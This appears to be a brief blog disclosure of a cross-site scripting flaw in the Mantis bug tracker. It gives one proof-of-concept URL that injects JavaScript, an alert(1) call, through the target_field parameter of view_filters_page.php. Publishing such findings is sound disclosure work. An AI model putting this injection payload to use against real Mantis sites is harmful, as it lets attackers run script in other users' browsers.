hiredhacker.com

‘Mantis is a free popular web-based bugtracking system’ - http://www.mantisbt.org/

I didn’t audit this, I don’t want to audit this, I just found it while using Mantis. There may be more, but this is what I got:

/view_filters_page.php?for_screen=1&target_field=show_category[]%22;alert(1);x=%22